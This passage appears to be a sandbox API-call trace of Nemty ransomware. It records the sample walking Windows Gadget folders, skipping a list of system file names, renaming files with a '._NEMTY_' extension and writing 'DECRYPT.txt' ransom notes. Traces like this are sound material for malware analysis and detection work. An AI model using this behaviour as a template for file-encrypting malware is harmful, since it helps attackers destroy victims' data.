(normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\logo.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\logo.png._nemty_kgobjgd_")) returned 0 [0113.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0113.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0113.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0113.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0113.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0113.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0113.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0113.176] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b25830, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf4b25830, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4b4b990, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0113.176] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0113.176] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0113.176] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0113.176] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0113.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0113.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0113.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0113.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0113.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0113.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0113.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0113.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0113.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0113.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0113.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0113.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0113.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0113.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0113.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0113.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0113.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0113.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0113.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0113.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0113.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0113.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0113.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0113.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0113.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0113.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0113.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0113.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0113.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0113.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0113.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0113.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0113.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0113.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0113.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0113.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.178] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b25830, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf4b25830, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4b4b990, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0113.178] FindClose (in: hFindFile=0x3423a30 | out: hFindFile=0x3423a30) returned 1 [0113.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0113.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94390 | out: hHeap=0x4f90000) returned 1 [0113.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94308 | out: hHeap=0x4f90000) returned 1 [0113.178] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Clock.Gadget", cAlternateFileName="CLOCK~1.GAD")) returned 1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2=".") returned 1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="..") returned 1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="...") returned 1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="windows") returned -1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="$RECYCLE.BIN") returned 1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="rsa") returned -1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="NTDETECT.COM") returned -1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="ntldr") returned -1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="MSDOS.SYS") returned -1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="IO.SYS") returned -1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="boot.ini") returned 1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="boot.ini") returned 1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="AUTOEXEC.BAT") returned 1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="ntuser.dat") returned -1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="desktop.ini") returned -1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="CONFIG.SYS") returned -1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="RECYCLER") returned -1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="BOOTSECT.BAK") returned 1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="bootmgr") returned 1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="programdata") returned -1 [0113.178] lstrcmpiW (lpString1="Clock.Gadget", lpString2="appdata") returned 1 [0113.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Clock.Gadget", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0113.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Clock.Gadget", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clock.Gadget", lpUsedDefaultChar=0x0) returned 12 [0113.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Clock.Gadget", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0113.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Clock.Gadget", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clock.Gadget", lpUsedDefaultChar=0x0) returned 12 [0113.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94308 [0113.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0113.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94380 [0113.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0113.179] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0113.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.179] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0113.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0113.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0113.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0113.179] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0113.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0113.181] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.181] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0113.182] CloseHandle (hObject=0x1e8) returned 1 [0113.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0113.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0113.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94380 [0113.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94218 [0113.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94290 [0113.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0113.182] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0113.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.182] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0113.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0113.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0113.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0113.182] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0113.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0113.183] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.183] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0113.184] CloseHandle (hObject=0x1e8) returned 1 [0113.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0113.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94290 | out: hHeap=0x4f90000) returned 1 [0113.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0113.184] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf71adc50, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf71adc50, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a30 [0113.184] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0113.184] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf71adc50, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf71adc50, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0113.184] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0113.184] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0113.184] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8439c2bc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8439c2bc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2855fdaf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5b85, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="drag.png", cAlternateFileName="")) returned 1 [0113.184] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1 [0113.184] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1 [0113.184] lstrcmpiW (lpString1="drag.png", lpString2="...") returned 1 [0113.184] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1 [0113.185] lstrcmpiW (lpString1="drag.png", lpString2="$RECYCLE.BIN") returned 1 [0113.185] lstrcmpiW (lpString1="drag.png", lpString2="rsa") returned -1 [0113.185] lstrcmpiW (lpString1="drag.png", lpString2="NTDETECT.COM") returned -1 [0113.185] lstrcmpiW (lpString1="drag.png", lpString2="ntldr") returned -1 [0113.185] lstrcmpiW (lpString1="drag.png", lpString2="MSDOS.SYS") returned -1 [0113.185] lstrcmpiW (lpString1="drag.png", lpString2="IO.SYS") returned -1 [0113.185] lstrcmpiW (lpString1="drag.png", lpString2="boot.ini") returned 1 [0113.185] lstrcmpiW (lpString1="drag.png", lpString2="boot.ini") returned 1 [0113.185] lstrcmpiW (lpString1="drag.png", lpString2="AUTOEXEC.BAT") returned 1 [0113.185] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1 [0113.185] lstrcmpiW (lpString1="drag.png", lpString2="desktop.ini") returned 1 [0113.185] lstrcmpiW (lpString1="drag.png", lpString2="CONFIG.SYS") returned 1 [0113.185] lstrcmpiW (lpString1="drag.png", lpString2="RECYCLER") returned -1 [0113.185] lstrcmpiW (lpString1="drag.png", lpString2="BOOTSECT.BAK") returned 1 [0113.185] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1 [0113.185] lstrcmpiW (lpString1="drag.png", lpString2="programdata") returned -1 [0113.185] lstrcmpiW (lpString1="drag.png", lpString2="appdata") returned 1 [0113.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0113.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0113.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0113.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0113.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0113.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0113.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0113.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0113.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0113.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0113.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 